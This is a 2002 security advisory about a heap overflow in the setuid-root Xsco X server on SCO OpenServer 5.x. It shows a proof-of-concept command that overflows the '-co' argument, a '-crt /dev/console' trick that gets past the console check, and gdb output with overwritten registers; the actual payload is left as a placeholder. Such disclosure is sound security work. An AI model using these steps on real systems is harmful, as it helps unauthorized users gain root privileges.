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Xsco heap overflow
13th Jun 2002 [SBWID-5430]

	Xsco heap overflow


	SCO/Caldera OpenServer 5.x


	KF   dotslash[at]snosoft.com   [http://www.snosoft.com]   in   Strategic
	Reconnaissance Team Security Advisory (SRT2002-06-11-1037):

	The  SCO  OpenServer  Xsco  application  is  installed  setuid  root  by
	default. Xsco contains the same heap overflow that Xsun has.


	 bash-2.03$ cd /opt/K/SCO/XServer/5.2.2a/usr/bin/X11

	 bash-2.03$ ls -al Xsco

	 -rwsr-xr-x   1 root     bin      1333588 Dec  9  1999 Xsco



	If you attempt the same syntax used to overflow Xsun it  appears  to  be
	non exploitable due to not having console  permission.  This  is  easily
	bypassed as shown below in the Impact section.


	 bash-2.03$ ./Xsco :1 -co `perl -e \'print \"A\" x 9000\'`


	 Tue Jun 11 10:31:56 2002

	 The X Server must be run on the console.

	 Make sure you are not on a serial line

	 and are not using rlogin or usemouse.







	If properly exploited the following could be used to take  root  on  the
	server with the Xsco binary.


	 bash-2.03$ ./Xsco :1 -co <b0f here> -crt /dev/console


	 Tue Jun 11 10:32:59 2002



	 Segmentation Fault


	 0x8164073 in _grantpt ()

	 (gdb) bt

	 #0  0x8164073 in _grantpt ()

	 #1  0x8164532 in malloc ()

	 #2  0x80027103 in _s_a_get ()

	 #3  0x81594bc in _ptsname ()

	 #4  0x8087526 in wctype ()

	 #5  0x8085e95 in wctype ()

	 #6  0x80745f4 in wctype ()

	 #7  0x804d69b in wctype ()


	 (gdb) i r

	 eax            0x41414141       1094795585

	 ecx            0x495b38d4       1230715092

	 edx            0x0      0

	 ebx            0x18     24

	 esp            0x8045814        0x8045814

	 ebp            0x8045834        0x8045834

	 esi            0x41414140       1094795584

	 edi            0x819f794        135919508

	 eip            0x8164073        0x8164073




	Nothing yet.

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